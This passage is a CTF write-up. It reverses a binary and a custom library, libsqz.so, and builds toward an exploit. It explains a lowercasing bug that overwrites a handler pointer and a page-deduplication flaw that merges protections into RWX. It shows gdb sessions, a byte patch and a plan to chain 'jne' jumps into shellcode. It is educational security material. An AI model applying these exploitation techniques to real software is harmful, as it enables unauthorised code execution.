When the parser is inside a tag and see an attribute, it will copy the value of
that attribute onto the stack and call the handler associated with the current
tag. The handler is called with the attribute name as its first argument and
the attribute value (or `NULL` if the attribute has no value) as its second
argument.

When the parser sees a close tag it calls `handle_close_tag` which pops items
off `tags_stack` until a matching tag name is found. It does this because not
all tags have a closing tag, e.g. `
`.

Outside of tags the parser will call `handle_word` on each string delimited by a
character other than letters and `-`.

With the overall functioning of the parser out of the way there are only two
more functions to reverse: `handle_word` and `handle_a`.

Both are very simple:

- `handle_word` calls `insert(g_words, word)` if `do_ignore` is `false`.
- `handle_word` calls `insert(g_links, attr_value)` if `attr` is `"href"`.

So what does `insert` do? It's not a terribly complicated function, so we'll
list it here:

```.c
void insert(void *list, const char *item) {
int i;
if (g_caseign)
lower(item);
for (i = 0; *((int *)list + 65 * i + 64) &&
(!g_unique && !g_count ||
strcmp((const char *)list + 260 * i, item)); i++);
if (!*((unsigned char *)list + 260 * i))
strcpy((char *)list + 260 * i, item);
*((int *)list + 65 * i + 64)++;
```

This gives us a strong hint as to the structure of `g_words` and `g_links`:

```.c
struct list_item {
char value[256];
int count;
};
struct list_item g_words[10000], g_links[10000];
```

The sizes of 10'000 are a guess, but seem reasonable since `g_links` - `g_words`
= `g_words` - `tags_stack` = 260 · 10'000.

*Organizer's note:*

> There are also no bounds checks on these lists; another red herring.

Now the above can be rewritten to

```.c
void insert(struct list_item *list, const char *item) {
int i;
if (g_caseign)
lower(item);
for (i = 0; list[i].count; i++) {
if ((g_unique || g_count) && 0 == strcmp(list[i].value, item))
break;
}
if (!list[i].value[0])
strcpy(list[i].value, item);
list[i].count++;
}
```

So depending on `g_unique` and `g_count` this function goes through the list and
finds the first item with the same value / a count of 0.

We also see that if `g_caseign` is set we first lower-case the inserted item.

A look a `lower` reveals something like this:

```.c
void lower(char *buf) {
char *p, c;
for (p = buf; c = *p; p++) {
if ('%' == c) {
p += 2;
continue;
} else if ('A' <= c && c <= 'Z') {
*p |= 0x20;
}
}
}
```

Do you see the bug? This function tries to be clever about URL encoded strings.
But what happens if a string ends in `'%'`. Then the line `p += 2` will skip
past the terminating NUL-byte and happily keep lower-casing whatever follows the
string.

So what follows the string? Remember that the HTML parser in `count` copied the
current word / attribute value onto the stack. At the bottom of the stack we
have:

```.c
char value_or_word[256];
void (*handler_for_current_tag)(char *, char *);
```

There's only one possibility for `handler_for_current_tag` and that is
`handle_a`, which lives at `0x442dab`. Calling `lower` on this pointer will
turn it into `0x642dab`. We have `g_words` at `0x46aa00` and each item in the
list is 260 bytes, which lands us at:

```.python
>>> divmod(0x642dab - 0x46aa00, 260)
(7439, 111)
```

That is, the 112th character of the 7440th parsed word.

*Organizer's note:*

> The only reason this binary handles HTTPS is to have an excuse to include a
> large library such that `handle_a` is located at an address where calling
> `lower` on it will change it.

Let's confirm. The plan is:

In terminal A:

In terminal B:

```.sh
$ env LD_LIBRARY_PATH=$PWD gdb ./words.elf
(gdb) run
Starting program: /home/user/words.elf
> Ignore case=yes
> Fetch http://localhost:8080/foo

Program received signal SIGSEGV, Segmentation fault.
0x0000000000642dab in g_words ()
(gdb)
```

"But this address is not executable!" we hear you say. Don't worry. It's time
to look at `libsqz.so`.

## `libsqz.so`

There's more than one way to skin this cat. Reversing may not be the easiest.
Poking and prodding while keeping a close look at `/proc/$(pidof
words.elf)/maps` may be enough to get the right idea. We don't know.

So we'll just tell you how it works.

As we saw earlier none of the symbols exposed by `libsqz.so` are actually used
for anything. Using `readelf` we can see that the library defines an
initializer, `libsqz_init`, at `0x460`:

```.sh
$ readelf -d libsqz.so
Dynamic section at offset 0xa008 contains 11 entries:
Tag Type Name/Value
0x000000000000000c (INIT) 0x460
0x0000000000000004 (HASH) 0x120
0x0000000000000005 (STRTAB) 0x168
0x0000000000000006 (SYMTAB) 0x138
0x000000000000000a (STRSZ) 24 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000007 (RELA) 0x9c20
0x0000000000000008 (RELASZ) 24 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000006ffffff9 (RELACOUNT) 1
0x0000000000000000 (NULL) 0x0
```

This function does three things:

- Allocate space for two dictionaries (`pages` and `mappings`) in a private
heap.
- Register a signal handler (`sigsegv_handler`) for `SIGSEGV`.
- Start a new thread running the function `thread`.

Both `sigsegv_handler` and `thread` are rather simple. The former:

```.c
void sigsegv_handler(int signum, siginfo_t *si) {
if (!restore(si->si_addr)) {
result = kill(getpid(), SIGKILL);
}
}
```

And the latter:

```.c
void thread() {
for (;;) {
squeeze();
usleep(100000);
}
}
```

The function `squeeze` reads `/proc/self/maps` and unmaps any page that is not
in the heap, the stack, `libsqz.so` itself or `libsqz.so`'s private heap.

But prior to being unmapped a page is first compressed using LZSS and
deduplicated using its SHA-1, then stored in the private heap. The `SIGSEGV`
handler simply reverses this process, then continues.

The `pages` and `mappings` dictionaries are implemented as hash maps. We'll
spare you the details but the prototypes look like this:

```.c
typedef struct _chain {
uint8_t *key;
void *elm;
struct _chain *next;
} chain_t;
typedef struct {
size_t keylen;
unsigned int keymask;
chain_t **buckets;
} map_t;
void map_init(size_t keylen, size_t nbuckets, map_t *mapout);
bool map_insert(map_t *map, uint8_t *key, void *elm);
bool map_lookup(map_t *map, uint8_t *key, void **elmout);
bool map_member(map_t *map, uint8_t *key);
bool map_pop(map_t *map, uint8_t *key, void **elmout);
bool map_delete(map_t *map, uint8_t *key);
```

The dictionary `pages` maps SHA-1 digests to `struct page` objects, and
`mappings` maps page IDs to `struct mapping` objects. The structs are defined
thus:

```.c
struct page {
uint8_t hash[SHA1_DIGEST_SIZE];
unsigned int refs;
uint8_t *data;
size_t numb;
int prot;
}

struct mapping {
size_t id;
void *addr;
struct page *page;
}
```

Towards the end of `squeeze` we have this snippet

```.c
mapping = malloc(sizeof(struct mapping));
mapping->addr = addr;
mapping->page = page;
mapping->id = (unsigned long)addr >> 12;
if (map_insert(&mappings, (uint8_t*)&mapping->id, mapping)) {
kill(getpid(), SIGKILL);
}
```

Where we can see that a page ID is just a page's address right shifted 12 bits.

We also see the pattern `kill(getpid(), SIGKILL)` again here. The same pattern
is found many places in the binary in various error scenarios.

There will be an entry in the `mappings` dictionary for each unmapped page, but
only one entry for each different page contents. When pages are mapped back in
(by `restore`) the `refs` field in their entry in the `pages` dictionary goes
down, and when it hits 0 the entry is deleted.

But there is a problem: the protection flags for a page are stored in the
`pages` dictionary. This means that protection flags are tied to the contents
of a page, not its address. This is clearly wrong, as different pages
containing the same data can have different protection flags. So how does
`libsqz.so` decide what flags to save?

In `squeeze` we find this code:

```.c
prot = PROT_NONE;
if ('r' == maps_line_prot[0]) {
prot |= PROT_READ;
}
if ('w' == maps_line_prot[1]) {
prot |= PROT_WRITE;
}
if ('x' == maps_line_prot[2]) {
prot |= PROT_EXEC;
}
[...]
page->prot |= prot;
```

In other words, when a page is unmapped and another page with the same contents
has already been archived the protection bits of the new page are *added* to the
stored page.

If it hasn't dawned on you yet, this means that if we can trick `libsqz.so` into
unmapping two identical pages where one is mapped `RX` and the other `RW`, then
both will be mapped `RWX` when they are mapped back in!

*Organizer's note:*

> This is why HTTP(S) responses are `mmap`'ed instead of `malloc`'ed; the latter
> would place the data in the heap, which would prevent it from being unmapped.
>
> A fixed address is used to prevent `mmap` from choosing an address which
> `libsqz.so` has already unmapped.
>
> The reason why the program is sometimes (often) killed when running
> interactively on some systems (including this author's desktop) is lazy
> loading of libraries, in particular `libresolv.so`. The problem here is that
> the dynamic loader will call `mmap(NULL, ...)` and the returned address may be
> one that has already been archived by `libsqz.so`. When the newly mapped
> memory are then later unmapped `libsqz.so` will get confused, and kill the
> process. The libc running on the remote host is such that the pages mapped
> when `libresolv.so` is loaded forces the kernel to pick a new region (below
> `libc` et al.). For local testing the same behavior can be achieved by
> issuing a "Fetch SOMEURL" before `libsqz.so` has had time to unmap `libc`,
> which explains why the program isn't killed when running non-interactively.
>
> Additionally, requesting raw IPs (or `localhost`) instead of hostnames
> prevents some similar errors.

## Exploitation and debugging

At this point an inkling if an attack should start forming in the back of your
head. Something like this:

- Request a "site" which is identical a few executable page in `words.elf`.
Several pages are used to maximize the chance that the next step succeeds.
- Wait until `libsqz.so` unmaps both the requested and the executable pages.
- Request another "site" which is a page of all zero's. Since `getbuf` is a
global variable this data will be read into the same page as the previous
request.
- Wait until `libsqz.so` unmaps the page.
- All of BSS will now be mapped back in as `RWX` upon access.

Lets test it! Remember to copy back the original `libsqz.so` first.

In terminal A:

In terminal B:

```
$ (
> echo Ignore case=yes
> echo Fetch http://localhost:8080/foo
> sleep 1
> echo Fetch http://localhost:8080/bar
> sleep 1
> echo Fetch http://localhost:8080/baz
) | env LD_LIBRARY_PATH=$PWD ./words.elf
> > WORDS:
elf
> WORDS:
> Killed
```

That wasn't very enlightening, and attaching a debugger interferes too much with
the execution. Do you remember that `kill(getpid(), SIGKILL)` snippet in
`sigsegv_handler`? If we change that to `kill(getpid(), SIGABRT)` we can get a
core dump. In `libsqz.so` we have:

```
[...]
400: e8 07 fe ff ff call 20c <getpid>
405: be 09 00 00 00 mov esi,0x9
40a: 89 c7 mov edi,eax
40c: 48 83 c4 08 add rsp,0x8
410: e9 ff fd ff ff jmp 214 <kill>
[...]
```

So let's change that 9 (`SIGKILL`) to a 6 (`SIGABRT`):

```
$ dd if=<(echo -ne '\x06') of=libsqz.so bs=1 seek=$((0x406)) conv=notrunc
```

And enable core dumps:

```
$ ulimit -c unlimited
```

And again in terminal B:

```
$ (
> echo Ignore case=yes
> echo Fetch http://localhost:8080/foo
> sleep 1
> echo Fetch http://localhost:8080/bar
> sleep 1
> echo Fetch http://localhost:8080/baz
) | env LD_LIBRARY_PATH=$PWD ./words.elf
> > WORDS:
elf
> WORDS:
> Aborted (core dumped)
```

Great. Let's first confirm that execution actually stopped in `g_words`:

```
$ gdb words.elf core
(gdb) bt
#0 0x00007f8a6dbf921b in ?? ()
#1 <signal handler called>
#2 0x0000000000642dab in g_words ()
#3 0x000000000044344e in count ()
#4 0x0000000000443f7f in main ()
```

So far so good. We can use `readelf` to confirm that `0x642dab` is executable:

```
$ readelf -l core
[...]
LOAD 0x00000000001ad000 0x000000000046b000 0x0000000000000000
0x0000000000279000 0x0000000000279000 RWE 0x1000
LOAD 0x0000000000426000 0x00000000006e4000 0x0000000000000000
0x000000000027b000 0x000000000027b000 RWE 0x1000
LOAD 0x00000000006a1000 0x000000000095f000 0x0000000000000000
0x0000000000002000 0x0000000000002000 RWE 0x1000
[...]
```

Notice that these three mappings are actually continuous, but since `libsqz.so`
maps them back in one page at a time we may see them broken up like this.

Now, there's just one more problem: the only characters we can put into the
`g_words` array are lower-case letters and `-`.

But there are fewer restrictions on `g_links` (only no NUL-bytes and no
upper-case letters), so if we can get to there writing shellcode will be easier
(i.e. not impossible).

It just so happens that the `ZF` bit in `EFLAGS` is unset when control goes to
`g_words`, and `jne` is encoded as `"u"`. So we can repeatedly jump through
`g_words` until we land in `g_links` where we can put our shellcode.

If we keep our shellcode below 254 characters we can even include it in the
`"href"` attribute that triggers the lower-casing bug.

Let's start with a single jump to confirm. `jne $+99` is encoded as `"ua"`.
Executing this code should land us at `0x642dab` + 99 = `0x642e0e`.

First generate a new `baz`. Remember, we need `"ua"` at the 112th byte of the
7440th word.

Let' try that again, shall we?

```
$ (
> echo Ignore case=yes
> echo Fetch http://localhost:8080/foo
> sleep 1
> echo Fetch http://localhost:8080/bar
> sleep 1
> echo Fetch http://localhost:8080/baz
) | env LD_LIBRARY_PATH=$PWD ./words.elf
> > WORDS:
elf
> WORDS:
> Aborted (core dumped)
$ gdb words.elf core
(gdb) bt
#0 0x00007f0686c3f21b in ?? ()
#1 <signal handler called>
#2 0x0000000000642e0e in g_words ()
#3 0x000000000044344e in count ()
#4 0x0000000000443f7f in main ()
```

Notice that `0x642e0e`? Effing fantastic!

Writing an actual exploit from here should not be too difficult. See `doit.py`
for the details. Note that you should put in the IP, not hostname, of your
listening server, otherwise you may get into trouble with `libresolv.so` as
mentioned above.